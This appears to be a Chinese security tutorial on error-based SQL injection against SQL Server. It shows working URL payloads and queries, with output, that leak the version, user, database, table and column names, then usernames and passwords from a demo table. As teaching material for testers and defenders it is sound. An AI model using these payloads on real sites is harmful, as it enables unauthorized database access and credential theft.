0x00 测试数据

  1. 1> select * from article;
  2. 2> go
  3. +----+-----------+-----------+
  4. | id | title       | content    |
  5. +----+-----------+-----------+
  6. |  1 | 测试标题  | 测试内容  |
  7. |  2 | 测试标题2 | 测试内容2 |
  8. +----+-----------+-----------+
  9. (2 rows affected)
  1. # 测试表数据: users;
  3. sql server> select * from users;
  4. +----+--------------+----------+
  5. | id | username     | password |
  6. +----+--------------+----------+
  7. |  1 | test-user-01 |  123456  | 
  8. |  2 | test-user-02 |  234567  |
  9. +----+--------------+----------+
  10. 2 rows in set (0.00 sec)
  1. sql server> SELECT system_user;
  2. +-----------------------+
  3. | field1                |
  4. +-----------------------+
  5. | sa                    |
  6. +-----------------------+
  7. 1 row in set (0.00 sec)
  1. sql server> select db_name();
  2. +-----------------------+
  3. | field1                |
  4. +-----------------------+
  5. | test                  |
  6. +-----------------------+
  7. 1 row in set (0.00 sec)

0x01 爆数据库版本

web语句: http://www.test.com/sql.php?id=1 and 1=@@version
数据库语句: select * from _users _where id =1 and 1=@@version

  1. 1> select * from users where id=-1 and 1=@@version;
  2. 2> go
  3. 22018 - [SQL Server]在将 nvarchar 值 'Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
  4.     Sep 24 2019 13:48:23
  5.     Copyright (C) 2019 Microsoft Corporation
  6.     Developer Edition (64-bit) on Windows 10 Pro 10.0 <X64> (Build 17763: ) (Hypervisor)
  7. ' 转换成数据类型 int 时失败。

0x02 爆当前连接用户

web语句: http://www.test.com/sql.php?id=1 and 1=system_user

数据库语句: select * from users where id=1 and 1=system_user

  1. 1> select * from users where id=1 and 1=system_user;
  2. 2> go
  3. 22018 - [SQL Server]在将 nvarchar 值 'sa' 转换成数据类型 int 时失败。

0x03 爆当前连接的数据库

web语句: http://www.test.com/sql.php?id=1 and 1=db_name()

数据库语句: select * from _users _where id =1 and 1=db_name()

  1. 1> select * from users where id=1 and 1=db_name();
  2. 2> go
  3. 22018 - [SQL Server]在将 nvarchar 值 'test' 转换成数据类型 int 时失败。

0x04 爆库名

注意: db_name(1) 修改会显示其他库名
例如:
修改为db_name(1) 就是出1库
修改为db_name(2) 就是出2库

web语句: http://www.test.com/sql.php?id=1 and 1=db_name(1)

数据库语句: select * from _users _where id =1 and 1=db_name(1)

  1. 1> select *  from users where id =1 and 1=db_name(1);
  2. 2> go
  3. 22018 - [SQL Server]在将 nvarchar 值 'master' 转换成数据类型 int 时失败。
  1. 1> select *  from users where id =1 and 1=db_name(2);
  2. 2> go
  3. 22018 - [SQL Server]在将 nvarchar 值 'tempdb' 转换成数据类型 int 时失败。

0x05 爆表名

注意：
OVER(Order by table_name) 里面的 table_name 要修改为 information_schema.tables 表里面存在的一个字段

查询不同的库可以这样
例如：
table_catalog=db_name() (查询当前库)
table_catalog=’要查询的库名’

查询不同的表可以这样
例如:
修改 row_number>=1
修改 row_number>=2

web语句: http://www.test.com/sql.php?id=1 and 1=(select table_name from (select ROW_NUMBER() OVER(Order by table_name) AS row_number,table_name FROM information_schema.tables where table_catalog=db_name()) as a where row_number=1)

数据库语句: select * from users where id=1 and 1=(select table_name from (select ROW_NUMBER() OVER(Order by table_name) AS row_number,table_name FROM information_schema.tables where table_catalog=db_name()) as a where row_number=1)

  1. # 爆 1表
  3. 1> SELECT
  4.     *
  5. FROM
  6.     users
  7. WHERE
  8.     id = 1
  9. AND 1 = (
  10.     SELECT
  11.         table_name
  12.     FROM
  13.         (
  14.             SELECT
  15.                 ROW_NUMBER () OVER (ORDER BY table_name) AS row_number,
  16.                 table_name
  17.             FROM
  18.                 information_schema.tables
  19.             WHERE
  20.                 table_catalog = db_name()
  21.         ) AS a
  22.     WHERE
  23.         row_number = 1
  24. );
  25. 2> go
  26. 22018 - [SQL Server]在将 nvarchar 值 'article' 转换成数据类型 int 时失败。
  1. # 爆 2表
  3. 1> SELECT
  4.     *
  5. FROM
  6.     users
  7. WHERE
  8.     id = 1
  9. AND 1 = (
  10.     SELECT
  11.         table_name
  12.     FROM
  13.         (
  14.             SELECT
  15.                 ROW_NUMBER () OVER (ORDER BY table_name) AS row_number,
  16.                 table_name
  17.             FROM
  18.                 information_schema.tables
  19.             WHERE
  20.                 table_catalog = db_name()
  21.         ) AS a
  22.     WHERE
  23.         row_number = 2
  24. );
  25. 2> go
  26. 22018 - [SQL Server]在将 nvarchar 值 'users' 转换成数据类型 int 时失败。

0x06 暴字段

注意：
OVER(Order by column_name) 里面的 column_name 要修改为 information_schema.columns 表里面存在的一个字段

查询不同的表可以这样
例如：
table_name=’要查询的表名’

查询不同的字段可以这样
例如:
修改 row_number>=1
修改 row_number>=2

web语句: http://www.test.com/sql.php?id=1 and 1=(select column_name from (select ROW_NUMBER() OVER(Order by column_name) AS row_number,column_name from information_schema.columns where table_catalog=db_name() and table_name=’users’) as a where row_number=1)

数据库语句: select * from users where id=1 and 1=(select column_name from (select ROW_NUMBER() OVER(Order by column_name) AS row_number,column_name from information_schema.columns where table_catalog=db_name() and table_name=’users’) as a where row_number=1)

  1. # 获取当前库 users表 第一个字段名称
  3. 1> SELECT
  4.     *
  5. FROM
  6.     users
  7. WHERE
  8.     id = 1
  9. AND 1 = (
  10.     SELECT
  11.         column_name
  12.     FROM
  13.         (
  14.             SELECT
  15.                 ROW_NUMBER () OVER (ORDER BY column_name) AS row_number,
  16.                 column_name
  17.             FROM
  18.                 information_schema.columns
  19.             WHERE
  20.                 table_catalog = db_name()
  21.             AND table_name = 'users'
  22.         ) AS a
  23.     WHERE
  24.         row_number = 1
  25. );
  26. 2> go
  27. 22018 - [SQL Server]在将 nvarchar 值 'id' 转换成数据类型 int 时失败。
  1. # 获取当前库 users表 第二个字段名称
  3. 1> SELECT
  4.     *
  5. FROM
  6.     users
  7. WHERE
  8.     id = 1
  9. AND 1 = (
  10.     SELECT
  11.         column_name
  12.     FROM
  13.         (
  14.             SELECT
  15.                 ROW_NUMBER () OVER (ORDER BY column_name) AS row_number,
  16.                 column_name
  17.             FROM
  18.                 information_schema.columns
  19.             WHERE
  20.                 table_catalog = db_name()
  21.             AND table_name = 'users'
  22.         ) AS a
  23.     WHERE
  24.         row_number = 2
  25. );
  26. 2> go
  27. 22018 - [SQL Server]在将 nvarchar 值 'password' 转换成数据类型 int 时失败。

0x07 爆内容

注意：
OVER(Order by username) 里面的 username 要修改为 users 表里面存在的一个字段
查询不同的数据可以这样
例如:
修改 row_number>=1
修改 row_number>=2

web语句: http://www.test.com/sql.php?id=1 AND 1 = (select cast(a.id as varchar)+’|’+cast(a.username as varchar)+’|’+cast(a.password as varchar) from (SELECT ROW_NUMBER () OVER (ORDER BY username) AS row_number,* from users) as a where row_number=1)

数据库语句: SELECT FROM users WHERE id = 1 AND 1 = (select cast(a.id as varchar)+’|’+cast(a.username as varchar)+’|’+cast(a.password as varchar) from (SELECT ROW_NUMBER () OVER (ORDER BY username) AS row_number, from users) as a where row_number=1)

  1. # 查询users表 第一条数据
  3. 1> SELECT
  4.     *
  5. FROM
  6.     users
  7. WHERE
  8.     id = 1
  9. AND 1 = (
  10.     SELECT
  11.         CAST (a.id AS VARCHAR) + '|' + CAST (a.username AS VARCHAR) + '|' + CAST (a.password AS VARCHAR)
  12.     FROM
  13.         (
  14.             SELECT
  15.                 ROW_NUMBER () OVER (ORDER BY username) AS row_number ,*
  16.             FROM
  17.                 users
  18.         ) AS a
  19.     WHERE
  20.         row_number = 1
  21. );
  22. 2> go
  23. 22018 - [SQL Server]在将 varchar 值 '1         |test-user-01|123456' 转换成数据类型 int 时失败。
  24. 1>
  1. # 查询users表 第二条数据
  3. 1> SELECT
  4.     *
  5. FROM
  6.     users
  7. WHERE
  8.     id = 1
  9. AND 1 = (
  10.     SELECT
  11.         CAST (a.id AS VARCHAR) + '|' + CAST (a.username AS VARCHAR) + '|' + CAST (a.password AS VARCHAR)
  12.     FROM
  13.         (
  14.             SELECT
  15.                 ROW_NUMBER () OVER (ORDER BY username) AS row_number ,*
  16.             FROM
  17.                 users
  18.         ) AS a
  19.     WHERE
  20.         row_number = 2
  21. );
  22. 2> go
  23. 22018 - [SQL Server]在将 varchar 值 '2         |test-user-02|234567' 转换成数据类型 int 时失败。

关注作者和知识库后续更新
SQL Server 报错注入一 - 图1

P喵呜-PHPoop

尊敬的黑客,您好,您当前浏览的是国家一级保护废物,P喵呜-PHPoop,请文明观看,请勿投食╰(°▽°)╯ 联系方式请查看我的主页-团队-P喵屋
已关注

web安全-数据验证不当

简单的介绍因为开发数据校验不当而可能导致的各种安全问题
关注
推荐阅读

新版74cms v4.2.1-v4.2.129-后台getshell漏洞

0x00 前言厂商：74cms下载地址：http://www.74cms.com/download/index.html关于版本：新版的74cms采用了tp3.2.3重构了，所以可知底层是tp，74cms新版升级是后台升级的，所以先将将升级方法。注：此漏洞不用升级至最新版本也可使用。0x01 …

URL重定向-跳转漏洞介绍

0x00 URL重定向漏洞危害当web应用程序接受不受信任的输入时，可能会导致web应用程序将请求重定向到包含在不受信任的输入中的URL，此时可以进行未经验证的重定向和转发。通过修改恶意站点的不可信URL输入，攻击者可能成功地启动钓鱼骗局并窃取用户凭证。简单点的说他的危害: 我打开腾讯的一个页…

浅谈PHP-反序列化漏洞

0x01 前言php反序列化漏洞，又叫php对象注入漏洞php中有两个函数 serialize() 和 unserialize()一个用于序列化，一个用于反序列化序列化通俗意思序列化说简单点就是将一个对象变成可以传输的字符串反序列化通俗意思反序列化就是把serialize()函数执行完毕以后的…